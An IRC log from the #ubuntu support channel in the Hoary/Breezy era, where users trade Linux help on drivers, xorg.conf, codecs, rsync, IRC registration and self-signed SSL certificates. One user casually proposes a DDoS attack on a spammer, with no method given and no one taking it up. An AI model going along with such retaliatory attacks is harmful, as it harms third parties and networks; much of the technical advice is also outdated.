ekimusXanthus7: go to wiki.ubuntu.com and search for dri there you will find a howto01:27
Seveas!ati01:28
ubotusomebody said ati was https://wiki.ubuntu.com/BinaryDriverHowto/ATI01:28
Seveas^-- fluffybunny_01:28
fluffybunny_thanks01:28
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aftertafwww.linuxcommand.org is really great!01:34
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aftertaf!cli01:34
ubotusomebody said cli was https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/01:34
aftertaf!shell01:35
ubotuaftertaf: Did you get hit by a windmill?01:35
naliothosfameron: thats great, since pwntchas arent used here01:35
aftertafsomeone should tell him shel IS linuxcommand.org :)01:35
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osfameronnalioth, ah, ok, shoulda checked :-)01:36
ArsonideSo, I found the "Startup Programs" panel, how do I add gaim to it? I mean, where are "Program Files"01:36
Seveas!shell is https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/01:37
ubotuokay, Seveas01:37
wickedpuppyArsonide, if you still thinking like win XP ... i doubt linux will be easy for ya01:37
naliothArsonide: use smeg01:37
naliothArsonide: and yes, this is nothing like windows (except you use a mouse and click on things)01:38
Arsonidewickedpuppy, I am not "thinking" like Windows XP, I just don't know how to put it into words, so I use references from it.01:38
wickedpuppyah i see ...01:38
naliothArsonide: ubotu sent you a msg01:38
robstaare there any ppc users? tried upgrading to breezy on my ibook (rage128) but X fails01:38
wickedpuppythere is no one place for program files .. if thats helpful01:38
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naliothrobsta: welcome to the club01:39
naliothrobsta: breezy doesnt like my imac, either01:39
fluffybunny_howcome my package manager has xscreensaver 4.16, when 4.22 has been released? shouldn't I see 4.22 as an option?01:39
robstanalioth: any fix? other than downgrading ..01:39
BelutzSeveas: do you know how can i modify the bash prompt so it will show belutz@host:/home/belutz$ instead of belutz@host:~$  ?01:39
naliothrobsta: run "sudo dpkg-reconfigure xserver-xorg" and choose the VESA driver01:39
Arsonidenalioth, Yeah it does that a lot :)01:39
ikkyshow do i know if i have the linux kernel source code installed on my ubuntu? or is it installed? or do i have to download one?01:39
robstanalioth: with kernel framebuffer or without?01:40
naliothrobsta: whichever one works for you, bubba01:40
robstanalioth: thx01:41
ikkysanyone??01:41
robstaikkys: check the same way as for other packages01:43
ikkysapt-cache search kernel?01:43
ArsonideThanks nalioth - just what I was looking for actually.01:43
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Digisikkys, apt-cache search kernel source, apt-get instal kernel-source-xxxx--xxx01:44
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ubuntUserto which directory ubuntu installs .deb?01:45
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DigisubuntUser, it install debs everythere, but debs are held in /var/cache/apt/archives01:45
naliothubuntUser: depends on the isntruction inside the .deb01:46
ubuntUseri mean mplayer01:46
ubuntUserhow can i find the localization out?01:46
aftertafDigis:  isnt it linux-source-xx-xx-xn ubuntu?x o01:47
aftertafDigis:  isnt it linux-source-xx-xx-x on ubuntu?01:47
aftertafops01:47
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Digisin hoary it is "kernel-source-2.6.10"01:47
aftertafoki.01:48
aftertaflinux-source is for compiling new kernels?01:48
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Xanthus7Ok I went to wiki and got driver installed no I cannot change screen resoulations what up with that01:49
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nessmukI'm getting the Broken BIOS error on my VIA mobo. Any links or tips for this? Is it a problem with the Hoary cd, or do I need to flash my bios?01:49
Xanthus7ati 9600xt radeon card01:50
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Digisaftertaf, kernel source is for compiling new kernels01:50
fluffybunny_what is this repository: mirror.isp.net.au/pub/ubuntu/ ???01:51
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__filip_does somebody know an easy way to stup an dc-hub in ubuntu?01:51
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Whistler__filip_01:52
Whistleri do01:52
Whistler__filip_ http://www.kst.name/madboy/?p=601:53
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wdhhi ppls.. does anyone know how to slow down the irssi-autojoin? I am taken to #ubuntu-unregged now..01:53
ekimusanybody knows wether it's necessary to have linux-image-2.6.10-5-386 inside the cloop image of the live cd?01:54
wdhbecause my auto-identify is somewhat slower then auto-join01:54
__filip_thanh you01:54
aftertafi only have kernel-source-2.4-2701:54
Whistler__filip_ np :)01:54
Ngwdh: I'm using the nickserv plugin rather than an auto-connect command to msg nickserv and that seems to be working01:54
aftertafbut many linux-source......01:54
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wdhNg, im using the same plugin.. and here it doesnt work01:55
aftertafCommand substitution... MMMmmmmmmm :)01:55
Ngwdh: did you add the nickserv as "Nickserv@services." (note the fullstop at the end there, it is required)01:55
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wdhNg, the plugin _is_ working correctly.. only it is a little slower then the autojoin part01:56
Xanthus7when I try to change screen resoulations after installing fxglx ati drive I get this error how can i fix this01:56
Xanthus7The X Server does not support the XRandR extension.  Runtime resolution changes to the display size are not available.01:56
Ngwdh: well I have no idea then, from what I can see that shouldn't be possible01:57
ekimusXanthus7: fglrx (the correct name for the driver) doesn't support xrandr afaik01:57
__filip_Whistler: that is how to install an dc client, i whant to run an dc-hub01:57
Xanthus7so how do I get a 1024x768 screen please01:57
Whistler__filip_ oh you want to set up server?01:57
wdhNg, it's only seconds.. there is probably no mechanism to make sure one comes after the other.. probably both just executed at the same time01:58
Xanthus7this is just to small my eyes are to old01:58
wdhNg, but thx for trying anyway01:58
Whistler__filip_ sorry for my mistake :)01:58
Ngwdh: you can add a delay on the autojoin I think, try google :)01:58
ekimusXanthus7: edit your /etc/X11/xorg.conf and enter the correct resolution (should be obvious where to change the values just read thru the file) and make a backup before you do that!01:58
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Xanthus7I looked at that you would not belive how many places there is for screen resoulations01:59
ekimusXanthus7: i wrote those files myself many times, i know there are only a few places :)02:00
__filip_yes i whant to setup an server, i not that good in english so my description may not be that good.02:00
ekimusXanthus7: use a pasteservice and paste the file there.... i will show you the correct place02:00
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Sionidegrr stupid spambots, not been delt with yet?02:00
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ekimusSionide: topic02:00
Sionideyes...02:01
wickedpuppy/topic02:01
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Sionidedone that..02:01
Sionidewhy can't an ircop gline them? :/02:01
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aftertafXanthus7:  there is a Screen section in xorg.conf02:01
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ekimusXanthus7: have you pasted the file?02:02
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Belutzis it ok to upgrade from this repo deb http://archive.ubuntu.com/ubuntu hoary-backports main restricted universe multiverse ?02:03
Xanthus7just made a backup of that that file02:03
Xanthus7put it in my home dir02:03
ekimusXanthus7: very good. now copy the contents to a paste service and i will show you where the section is you want to edit02:04
Xanthus7Section "Screen"02:04
Xanthus7        Identifier      "Default Screen"02:04
Xanthus7        Device          "ATI Technologies, Inc. Radeon 9600 XT (RV350 AR)"02:04
Xanthus7        Monitor         "SyncMaster"02:04
Xanthus7        DefaultDepth    2402:04
Xanthus7        SubSection "Display"02:04
Xanthus7                Depth           102:04
Xanthus7                Modes           "1280x1024" "1024x768" "832x624" "800x600" "720$        EndSubSection02:04
ekimusXanthus7: stop02:04
fluffybunny_my friend who uses gentoo has a later version of xscreensaver with some really nice screensavers - how do I get this?02:04
ekimusXanthus7: don't paste here use a pasteservice02:05
thoreauputicI've mad a factoid for the wiki index !docs ( for those who want to direct people to a wiki gateway)02:05
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Xanthus7never heard of a pastsevice02:05
thoreauputic* s/mad/made :)02:05
thoreauputic!docs02:05
uboturumour has it, docs is an index of documentation on the Ubuntu Wiki - you can find it at https://wiki.ubuntu.com/UserDocumentation02:05
Xanthus7I am sorry if I did something wrong02:05
ekimusXanthus7: www.justfuckinggoogleit.com02:05
Belutz!paste02:06
ubotupaste is probably please use http://paste.ubuntulinux.nl/ or #flood to paste large amounts of text02:06
ekimusXanthus7: google: pasteservice should be the first link02:06
ekimusXanthus7: that's just so the channel isn't flooded with tons of config files02:06
BelutzXanthus7: see what ubotu just said02:06
fluffybunny_my friend who uses gentoo has a later version of xscreensaver with some really nice screensavers - how do I get this?02:06
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Xanthus7ok np sorry02:06
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thoreauputicfluffybunny_: maybe,  apt-cache search xscreensaver | grep hacks02:07
thoreauputicxscreensaver-gl - GL(Mesa) screenhacks for xscreensaver02:07
thoreauputicfluffybunny_: extra stuff in that package ( might be some nice ones but require GL of course)02:08
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ekimusXanthus7: when you got the url for the file paste it here (the url not the file :)02:09
fluffybunny_thoreauputic: cool, thanks02:09
thoreauputicfluffybunny_: no worries :)02:09
ArsonideAh so "program files" = /usr/bin02:10
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nalioth_zZzArsonide: no sir02:10
ArsonideGah02:10
nalioth_zZzArsonide: users have no business in /usr/bin02:10
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ArsonideOh.02:10
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nalioth_zZzArsonide: if you install something yourself (don't use apt) it goes in /usr/local/ (bin, lib, etc, )02:11
osfameronI thought the ubuntu screensavers are pretty shiny already02:11
ArsonideWell this tutorial ran me by it and I noticed gaim and a bunch of other stuff in there.02:11
osfameroncompared to default winxp ones02:11
nalioth_zZzArsonide: yes, the "system" keeps it files in there02:11
ekimusosfameron: gentoo hase one of those osx teletubby screensavers (if you specify to compile it with opengl)02:11
ArsonideSo I'm in the system's turf and should get out.02:12
Arsonidelol02:12
nalioth_zZzArsonide: anything you compile/install should go in /usr/local/bin, your libs in /usr/local/lib, etc02:12
Whistlergrrr i hate apt-get servers cause i get only 60kB/s02:12
ArsonideAlright.02:12
nalioth_zZzArsonide: on a *nix box, the user "owns" nothing. the system lets the user use, say, firefox02:12
nalioth_zZzArsonide: if you open a terminal and type "ls -al" you'll see a bunch of "dot files" (beginning with ".")02:13
ArsonideQuestion, with ls it didn't explain what the various colors mean.02:13
ArsonideYeah those are hidden files.02:13
nalioth_zZzArsonide: those are your settings, your bookmarks, etc for each program02:13
nalioth_zZzArsonide: folders and 'executables'02:13
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ArsonideI assume the various colors are file types...there a list of'em somewhere?02:13
nalioth_zZzArsonide: folders and 'executables' are the various colors02:14
Arsonideoh, alright02:14
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nalioth_zZznow i really must get a nap02:15
nalioth_zZzi'll be back in about 12 hours or so02:15
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topyliwhat is toshset? during upgrade, debconf asks me to disable acpi "so that toshset will work properly"02:16
Seveastoshiba stuff02:16
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topyliah. i don't care then :)02:16
topylithanks Seveas02:16
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theD3viLWhen breezy will be out? In September or October ?02:21
SeveastheD3viL, october02:22
theD3viL:(02:22
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__filip_is it someone that know an easy way to setup an dc hub server?02:22
SeveasNEVER run such scripts in here02:22
Seveasdisable it and you get your voice back02:22
theD3viLSeveas, who you are, you have op! Why only you?02:23
SeveastheD3viL, /msg nickserv access #ubuntu list02:23
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ubuntUserhow to check the path where .deb is installed?02:24
ubuntUseris there any command?02:24
theD3viLubuntUser, whereis name.deb02:24
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theD3viLSeveas, -NickServ- Unknown switch [#ubuntu] 02:25
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topylitheD3viL: yes, #ubuntu is an argument and should come last02:25
theD3viLaha02:25
Xanthus7Thank You got that file edited with no problems I can see my screen again02:25
ubuntUsertheD3viL: but it only prints names of packages02:25
ubuntUserwithout any paths02:25
SeveastheD3viL, /msg chanserv access #ubuntu list02:25
ubuntUseri ant to know the path02:26
ubuntUser:/02:26
Seveaschanserv, not nickserv :)02:26
theD3viLaha =)02:26
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ubuntUsertheD3viL: can prv?02:27
nalioth_zZzSeveas: do you need a nap?02:27
nalioth_zZzheh heh02:27
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theD3viLAnyone knows why some *.pps plays at 1 sec (about 30 pictures) ?02:35
dwerfwhat is, in linux, the equivalent to ctrl + alt + del?02:35
theD3viLdwerf, restart X02:35
hmmfsame dwerf ctrl, alt, backspace to get out of x first02:36
aftertafdepends on what u want with CTLALT DEL02:36
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Deep6guys can someone tell me how to rsync a directory with spaces in it I've tried escaping and quoting02:39
hmmfrename it?02:39
Deep6by the way piss off korhann and ZurnaNet5063 stupid spam bots02:39
Deep6hmmf, Its on a windows read only NTFS part02:39
hmmfcan you still boot doze?02:40
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Deep6nope02:40
dwerfok, ctrl + alt + backspace works really well!02:40
Deep6plus the machine is 500 km's from me02:40
hmmfuse a usb memory stick if you can02:41
dwerfhow do i go back to ubuntu from there?02:41
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wickedpuppydwerf, startx02:41
dwerfcool02:41
hmmfcopy the dir and go to a place with a working doze who trusts you02:41
aftertafor /etc/init.d/gdm restart02:41
Deep6hmmf, what a great idea! now all I need is an 16 Gig memory stick02:41
unvs_Deep6: did you try going to it's sub directory, type in "cd startofdir<tab>" then copy/paste what it uses to changedir in the shell?02:42
aurax_!info linux-68602:42
ubotulinux-686: (Complete Linux kernel on PPro/Celeron/PII/PIII/PIV.), section restricted/base, is optional. Version: 2.6.10-7 (hoary), Packaged size: 21 kB, Installed size: 48 kB02:42
hmmfgeez you let your directories get big02:42
Deep6unvs_, yes02:42
aurax_hmm02:42
aurax_!dpkg linux-68602:42
ubotuaurax_: Did you get hit by a windmill?02:42
aurax_yeh02:42
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scanwinderwhen my laptop goes into standby, if its in standby for too long, it wont come back up - it just has a black screen when i try.............but if its only in standby for a short period, it comes back up fine.........anyone know how2 fix this?02:43
aftertafacpi or apm ?02:43
scanwinderaftertaf, apm02:43
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aftertafcould be buggy support for one or the other of them with your laptop.02:43
theD3viLWill be breezy faster???02:44
unvs_Deep6: what if you symlink?02:44
wickedpuppyhow to play avi files in totem ? needs which codec or plugin ?02:44
aftertaf!codecs02:44
ubotuit has been said that codecs is http://www.ubuntulinux.org/wiki/RestrictedFormats02:44
theD3viLapt-get install w32codecs02:44
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scanwinderaftertaf, any ideas how i should go about fixing the problem then?02:44
Dogtixello, anyone here running software raid 5 (SATA) ?02:44
aftertafscanwinder:  no idea..... check you have most uptodate bios... check which is better suported on your PC...02:45
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aftertafbut only general ideas like that, sorry!!02:45
bwlangDogtix: just ask...02:45
DogtixI'm after a performance guideline, not an answer really02:46
bwlangtheD3viL: only if you buy a new computer02:46
theD3viLbwlang, and what is problem?02:46
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dwerfok, so startx starts the system when the graphical interface is off, but it returns a desktop with entirely different settings, like language, standard irc-channel, etc02:46
theD3viLbwlang, i have very fast computer..02:46
unvs_Deep6: what if you symlink?02:47
bwlangtheD3viL: ? you asked if breezy will be faster... it will if you buy a faster comptuer02:47
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Deep6there's go to be a way02:47
theD3viLbwlang, faster than hoary...02:47
bwlangtheD3viL: no02:47
theD3viLbwlang, and what will be different '02:48
unvs_Deep6: try symlinking the directory to a link with no spaces, then run rsync is what i mean02:48
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hmmfyou can get a free copy of 2003 windows server from MS and use another puter with it02:48
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bwlangtheD3viL : updated software... better utilities etc.02:48
unvs_Deep6: that's what the cygwin-crowd is doing anyways, works there02:48
theD3viLbwlang, tnx02:49
dwerfok, so startx starts the system when the graphical interface is off, but it returns a desktop with entirely different settings, like language, standard irc-channel, etc02:49
Deep6unvs_, O02:49
Deep6I'll try that02:49
drummer87hi, anyone here have a wacom pad?02:50
dwerfdrummer87 > ido02:50
drummer87i'm having problems with mine02:50
dwerfdrummer87 > does it sometimes dance around the screen?02:50
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drummer87dwerf, no, i can't click with it, only sometimes randomly02:51
drummer87and now it's stopped working completely (no movement)02:51
dwerfdrummer87 > i have that too - i checked wacom on synaptic, but there's not much02:52
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aftertafdwerf:  depends on which user is ogged in when you run it...02:52
aftertafhence why i said to rerun gdm02:52
aftertafor kubuntu : kdm02:52
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aftertaf/etc/init.d/k|gdm restart02:52
drummer87dwerf, would it be the drivers that are getting messed up? or X? or hardware?02:53
aftertafyou can only run startx as root, so better to pass by your login manager02:53
apokryphosaftertaf: incorrect; startx can be run as a normal user02:54
dwerfdrummer87 > i wish i knew02:55
aftertafok02:55
scanwinderhow do i go into standby using ACPI? whats the command?02:55
dwerfdrummer87 > bacause i'd like to fix my wacom on linux02:55
aftertafstill, better to use login manager imho02:55
apokryphosdefinitely, yes.02:56
dwerfdrummer87 > the preferences can be found in /usr/src/modules/wacom02:56
drummer87dwerf, hmm.. i might try compiling the latest wacom drivers02:56
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apokryphosaftertaf: you do need sudo though to i.e. start kdm02:56
drummer87nothing in my /usr/src/modules folder02:57
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aftertafbut you can choose the user for X with it!03:00
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dwerfif i type 'locate whatever' in the shell, is there a way of selecting the returned info in a command, rather than typing it over?03:01
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aftertafdwerf:  pipe it03:01
aftertaf|03:01
aftertaf:)03:01
dwerfaftertaf > what is piping?03:02
stoeptegeli can't get my second sata harddrive to work under kubuntu, it says kernel panic, can't find partition /03:02
supernixanyone wanna do a DDS attack on that spammer ?03:02
aftertaf!tell dwerf about cli03:02
supernixI just got back and that mother spammed me over 50 times while I was gone and same url03:03
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dwerfaftertaf > what do you mean with 'pipe it'? i only recently started using linux, it might be a very common linux term and/or command, i just don't know what it is...03:05
Deep6unvs_, that worked...kinda hackish though03:06
dwerfthanx!03:06
unvs_Deep6: ya..03:06
moomooboyisnt | <-- used for multi commands?03:06
unvs_piping is sending output to another process03:07
unvs_ls -l | less03:07
unvs_etc03:07
stoeptegelsupernix: do you really check the urls? :p03:08
supernixnah I aint about to click the url for that skum bad03:08
supernixbag*03:08
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aftertafhe's a scumbag?03:09
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Deep6moomooboy, | is for taking input from the left side of the pipe and feeding it to stdin on the right side03:09
supernixaftertaf: all spammers are scum of the earth03:09
afaikhey, #ubuntu-unregged is GREAT... you can't change your nick to identify03:09
Deep6&& and || are for chaining commands03:09
afaikthat's genius03:09
afaikthrow them in a room where they NEED to change their nick, but don't let them03:10
aftertafsupernix:  didnt notice he was spamming...03:10
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twibblerdoes anybody know how to configure a pda under ubuntu please?03:17
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twibblerie ... how to tell which device it is ?..03:17
bipolarDoes anyone know who maintains the OpenOffice2 packages? They are really out of date and having beta 2 released today might make it a good time to update.03:18
apokryphosafaik: actually, they don't need to change their nick at all03:18
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apokryphosafaik: they need to identify, ideally.03:19
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aftertaftwibbler:  mine worked just by plugging in, running kpilot and hitting the hotsync button.03:22
twibbleraftertaf: done that .... did you use dev/pilot ?.03:23
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twibbleraftertaf: just installing kpilot ..03:27
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AzmodanI just installed Ubuntu (dual-boot) and Grub hand on stage 1.503:28
afaikapokryphos, for people like me, my client connected with the default user's name03:28
afaikit was a bit moronic I was thrust into #ubuntu-unregged, then couldn't change my nick to my registered nick to identify03:29
afaikreally, wtf is the point of that?03:29
Azmodanafaik, you just /msg nickserv identify yournick03:30
Azmodannickserv remember which nick you had if I am not mistaken03:30
ekimusany eclipse users here? i want to use the plattform-runtime-binary with just enough stuff to use java projects. but I can't find the necessary plugins on the eclipse page, any help?03:30
unvs_afaik: if you use irssi, check out the config file in ~/.irssi/03:30
wickedpuppyekimus, try #eclipse03:31
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apokryphosafaik: ok, but it's still not a place where you "NEED" to change your nick03:31
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apokryphosafaik: and it doesn't allow you to change because you can't send to channel03:33
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aftertafanyway, where was I?03:35
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ArsonideIs it just my imagination or does Linux download much faster than XP?03:36
ArsonideI don't see why it would, but it seems to be.03:37
Kamping_KaiserArsonide: depends on the box03:37
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Kamping_Kaiserand the software :)03:37
humulusi.e. wget downloads definetly then a browser :)03:37
ArsonideAlright I'm downloading a new black and white 2 trailer...it's .mov format.03:37
herrpoonhi does anyone know a good bittorrent client other than the one that comes with ubuntu?03:37
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ArsonideWill I be able to play it or do I need to boot into windows.03:38
Stormx2Hey03:38
reiki_workanyone printing directly on CDs usinf Epson R200 or R300 and Turboprint drivers?03:38
apokryphosherrpoon: Azureus and KTorrent, I use.03:38
Stormx2Anyone got any suggestions on removing the "Debian" menu in my GNOME menu?03:38
reiki_works/using/usinf03:38
herrpoonright azureus, so il have to install java for that03:38
apokryphos!azureus03:38
uboturumour has it, azureus is a popular bittorent client written in Java, it can be downloaded from the hoary-extras repository03:38
apokryphosherrpoon: hoary-extras has java etc too03:39
herrpoongood03:39
herrpoonwhats ktorrent like?03:39
ArsonideDoes it have video codecs?03:39
herrpoonconfigurable?03:39
apokryphosherrpoon: more lightweight, less CPU-intensive, less featureful currently; one or two things I like.03:39
apokryphoshas an option to download only the files from a torrent that you want, which I like.03:40
herrpoonright ill think ill give ktorrent a go thanks03:40
apokryphosBut it's lacking in other areas.03:40
herrpoonhmm well i need one whereby i can sleect the port03:40
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apokryphosherrpoon: both of them allow that03:40
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herrpoonexcellent thanks03:40
Stormx2Anyone got any suggestions on removing the "Debian" menu in my GNOME menu?03:40
apokryphos!ktorrent03:41
ubotuKTorrent is a KDE torrent Client. See: http://ktorrent.pwsp.net/index.php?page=downloads ; Ubu repository: deb http://dinton.no-ip.org/ kubuntu main03:41
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apokryphos(haven't tested the repository myself, but it should work).03:41
herrpoonahh ok03:41
herrpoonhehe03:41
ArsonideWhere is it?03:42
apokryphosArsonide: where's what?03:42
ArsonideThe repository, I tried something online that should have installed all the "restricted" formats (mp3, avi, etc) but it didn't work.03:42
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ArsonideSo I think I need to do it myself.03:42
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ManLordWoohoo! Opera software celebrates 10 Years and is giving away FREE registration codes for all platforms(only for limited hours)! http://my.opera.com/community/party/03:43
apokryphosw32codecs provides the restricted formats etc03:43
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Tobsnhi03:45
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Tobsncan someone help me with installing ipw2100?03:45
Stormx2wtf is with the opera stuff!03:46
Stormx2you can just refresh and get more and more codes! xD03:46
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unvs_they probably just want to spread it as much as possible, before upgrading and changing the way licence-codes validate03:47
Tobsncan someone help me with installing ipw2100?03:47
wickedpuppyTobsn, what is ipw ? is it in repos ?03:48
Arsonideso I did 'sudo less sources.list' but how do I add a line to the end?03:48
Arsonideforgot03:48
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wickedpuppyArsonide, sudo gedit /etc/sources.list03:48
dwerfwho was having trouble with his wacom?03:49
aftertafArsonide:  vim, or echo "text" >> sources.list03:49
Arsonideoh is less just a text reader?03:49
aftertafyep03:49
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aftertafmarketing gimmick03:50
afaikapokryphos, you miss my point.. you have to change to your reg'd nick to identify03:50
afaik#ubuntu-unregged forces you to be unable to change your nick03:50
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aftertafdeco & reco with right nick then... ?03:50
afaikit's just an annoyance, and serves no point.. that channel just has a collection of spam bots anyway03:50
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MAPDhi03:50
MAPDmultiverse thing isnt there a portuguese mirror?03:51
MAPDi needed xvid and divx03:51
MAPD:\03:51
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Tobsnwickedpuppy intel wireless drivers...03:51
aftertafpaste your sources.list to the pastebin MAPD03:51
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ArsonideE: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?03:52
ArsonideThat happens when I try sudo apt-get install w32codecs.03:52
aftertafArsonide:  close synaptic03:52
MAPDaftertaf cant show them right now03:52
aftertafor quit other apt-get process03:52
MAPD:\03:52
Arsonide:P03:52
Arsonidelol03:52
aftertafMAPD:  in that case, add multiverse to every repos where you have universe...03:53
ArsonidePackage w32codecs is not available, but is referred to by another package.03:53
aftertafArsonide:  multiverse?03:53
ArsonideI did apt-get update after adding it to sources.list03:53
aftertaf!info w32codecs03:53
ArsonideI followed this: http://nozell.com/blog/archives/2005/07/22/w32codecs-for-ubuntu-hoary/03:54
Lichte!info anjuta03:55
ubotuanjuta: (A GNOME development IDE, for C/C++), section universe/gnome, is optional. Version: 1.2.2-6ubuntu1 (hoary), Packaged size: 843 kB, Installed size: 2048 kB03:55
Lichte!info anjuta203:56
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aftertaf!tell mapd about repository03:57
aftertafarf03:57
ArsonideSearching synaptic for it doesn't work either.03:58
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aftertafArsonide:  hoary-extras/restricted....04:00
aftertafgo to the wiki in the topic and find the example sources.list...04:01
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ilba7ris there a command to tell me the users that are connected at the moment to my pc04:03
vader1102got a question, my wireless connection doesn't show up in the upper right hand corner, it tells me SICGIFFLAGS error: no such device, can anyone please help me, it does work or I wouldn't bein here04:03
ArsonideI used the sample list and it just broke more.04:04
ilba7rvader1102 type iwconfig in a term04:04
ilba7rand tell me what output you have04:04
vader1102k04:04
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Xanthus7hello04:05
theD3viLhey04:05
Xanthus7I have set up ogle04:05
Xanthus7and I am getting an error message dvdreadblock got 8 wanted 12 failed04:06
vader1102ilba7r, http://paste.ubuntulinux.nl/174704:06
ilba7rgreat04:07
MAPDanyone knows which movie jack nicholson and natalie wood04:07
MAPDacted together04:07
MAPD?04:07
ilba7ri think you may have eth as the default connection04:07
ilba7rjust type in a terminal04:07
ilba7rifdown eth004:07
ilba7rsudo ifdown eth0 sorry04:07
ilba7rsudo ifup wlan004:07
vader1102k04:07
Xanthus7how do I fix this problem04:08
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vader1102allready configured04:08
CarlFKXanthus7 -try using vobcopy to copy the DVD to the HD04:09
vader1102wlan0 is ath0 on mine04:09
Xanthus7I cannot play it off my dvd disk04:09
CarlFKXanthus7 - vobcopy -m04:09
ilba7rok than type sudo ifup ath004:09
vader1102did and it says device allready configured04:09
ilba7rok on your network link at the top corner04:10
ilba7rclick on it and make the default connection to net through ath004:10
CarlFKXanthus7 - if vobcopy can't read it, then either the disk is scratched or dammaged or wasn't burned right (like the movie Hitch)04:10
vader1102there we fo...ty04:10
vader1102go04:10
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Xanthus7ok where do I vobcopy04:11
Xanthus7I played this disk with ogle in fc404:11
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mypapit!ktorrent04:13
ubotuKTorrent is a KDE torrent Client. See: http://ktorrent.pwsp.net/index.php?page=downloads ; Ubu repository: deb http://dinton.no-ip.org/ kubuntu main04:13
Xanthus7vob is reading the disk04:13
mypapit!lame04:13
ubotumypapit: I don't know, could you explain it?04:13
Xanthus7So Carl is there a problem with the dvd player04:13
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mypapitapokryphos, find lame mp3 encoder04:13
espectrohi, i am having problems connecting to my windows printer04:13
espectroin console, i can do:04:13
apokryphosmypapit: better to investigate with ubotu in /msg04:14
apokryphos!find lame04:14
ubotuUbuntu Package Listing of 'lame' (8 shown): flamethrower ;; glame ;; lame ;; lame-extras ;; liblame-dev ;; liblame0 ;; systemimager-server-flamethrowerd ;; toolame.04:14
CarlFKXanthus7 - sudo apt-get install vobcopy04:14
CarlFKoh, you found it.04:14
apokryphosmypapit: I take it you want the "lame" package04:14
Xanthus7I got it and it is coping the disk with no problem Carl04:14
Xanthus7so it is not the disk04:14
CarlFKXanthus7 - it may take about an hour04:14
CarlFKXanthus7 you don't know untill it copies the whole disk04:15
apokryphosmypapit: it's in Multiverse04:15
Xanthus7OK04:15
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Chameleon22what does IPC$ share on samba do? purpose etc?04:20
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LoveBug356Does someone know of it is possible to make a log or blog with docbook?04:22
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apokryphosLoveBug356: possible, sure; a little unnecessary -- yes.04:23
LoveBug356apokryphos: I have only a html server04:23
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LoveBug356apokryphos: I want to make a simple,clean log/blog04:24
LoveBug356apokryphos: any other suggestions04:24
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apokryphosLoveBug356: blosxom (sp) uses Perl, and is good (pretty configurable)04:25
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OneSeventeenI installed cedega via their .deb, do I need to use dpkg to uninstall it, or can I just use synaptic?04:25
apokryphosyou'd need a lot of extra stuff for docbook there, anyway. XML can be annoying :/04:25
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funkyHatdoes anyone here use sawfish?04:25
funkyHati'm utterly fed up with window focus in metacity04:25
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chrismyapokryphos, hey i am registered! :D04:26
apokryphosexcellent04:26
osfameronthe blosxom codebase is terrifying though04:27
apokryphososfameron: there's good docs on it; reasonable simple with a little diligence04:27
LoveBug356apokryphos: I don't have access to run scripts on the server04:27
osfameronapokryphos, oh, sure - I mean the code *itself*.  Very scarecely commented.  Very *clever* (in the way that people accuse Perl of being :-)04:28
LoveBug356apokryphos: So I need to upload a html every time04:28
chrismyapokryphos, what is the signifance of us being registered? what can we do?04:28
apokryphosLoveBug356: doesn't blogspot just alter the HTML file for you?04:28
apokryphoschrismy: /msg to ubotu, make sure no-one else takes your username, if your computer dies and chrismy is still on Freenode you can "ghost" it and reclaim your nick etc etc04:29
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chrismyby typing    /mg ubotu help   ??04:30
apokryphosyou'll get output, yes.04:30
thoreauputicchrismy: you can also set modes like /umode +CE to avoid spam (see /topic)04:30
chrismyoops...04:30
chrismyahh ok04:30
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reiki_workapache question... in order to be able to have a URL as https:// (to establish a secure socket layer) I'm being told I have to "purchase a certificate". The web server won't display a page if https is used. I seem to recall being able to do this without purchasing any kind of certificate. Are they blowing smoke up my ass or what?04:31
theD3viLIs realy bad to set up root user at install ?04:31
reiki_workI'm not at home right now or I'd try it on my Ubuntu box04:32
CarlFKreiki_work - best to ask in #apache, but...04:32
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funkyHattheD3viL, it's not really bad, but why do you need to?04:32
CarlFKreiki_work - I am pretty sure you can make your own04:32
reiki_worktheD3viL: you really don't need a root user in Ubuntu04:32
thoreauputictheD3viL: not "really bad" - not really necessary though04:32
reiki_workCarlFK: that's what I thought04:32
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CarlFKreiki_work but if you make your own it won't be "trusted" or something04:32
reiki_workCarlFK: really not a problem.. as long as it establishes a secure, encrypted connection04:33
CarlFKreiki_work - as where the ones from thwarti? and the other "big guys" are setup in "everyone's" browser as "ok"04:33
scanwinderanyone know how2 set a proxy in dillo?04:33
konengcan someone tell me how to edit the .xsession file in my home directory?04:34
nerdy2reiki_work: but that's part of the problem, if it's not trusted,  there's little way to prevent a man in the middle attack04:34
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nerdy2reiki_work: in other words, no way to know that it is secure04:34
sproingiereiki_work: you can use a self-signed cert, however everyone will get a warning in their browser that the signer isn't trusted the first time they visit04:34
reiki_workhmmm.... ok... I'll have to look into this more so I don't make stupid mistakes :)04:34
sproingiereiki_work: this is fine for personal sites, but most professional sites don't want that warning to appear04:35
CarlFKreiki_work - #apache04:35
reiki_worksproingie: that's really ok. As long as it's a secure link... y'know?04:35
nerdy2reiki_work: that's the point of the server signing,  the user presumably trusts certain signing authorities [a list comes with most browsers] ,  these compare the certificate with the domain to make sure that it is the right one [rather than a random untrusted one] 04:35
CarlFKI think it is like ssh - if you want to be sure, you can move a public/private key pair around on a floppy04:36
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nerdy2reiki_work: this will guarantee the certificate and domain at least go together, which should mean there is no man in the middle04:36
sproingiereiki_work: for internal sites, it's probably fine.  i just wouldn't go self-signed for customer-facing stuff04:36
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CarlFKso with a little work, you can be 100% sure that your connection is secure (but again, ask they wizards in #apache)04:37
Concord_Dawnhow do I send a SIGHUP signal to a process?04:37
sproingiei think unless you use bbn's quantum crypto network, you can't ever be 100% sure ;)04:37
nerdy2Concord_Dawn: kill -HUP <pid>04:38
Concord_Dawnthanks.04:38
dogsoni manually removed /etc/esound/esd.conf and now i want to reinstall it, and did a apt-get --reinstall install esound-common but i didnt get the file back. why?04:38
konengi only see a .xsession-errors file in my home directory. i need to edit the .xsession file. do i just create one? or am i looking in the wrong place?04:38
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MAPDhi04:39
MAPDeverytime i boot my linux04:39
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MAPDit changes my time04:39
MAPDsince it cant uploa04:39
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MAPDupdate04:39
nerdy2koneng: if you want one, create one   ;  why do you want one?04:39
MAPDi cant change it back04:39
MAPD:04:39
MAPD:/04:39
sproingiedogson: dpkg-reconfigure esound04:39
sproingiedogson: if that doesn't work, try dpkg-reconfigure esound-common04:40
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dogsonsproingie, i did, still nothing04:40
dogsonwell i guess i can extract it from the deb, but its annoying :P04:41
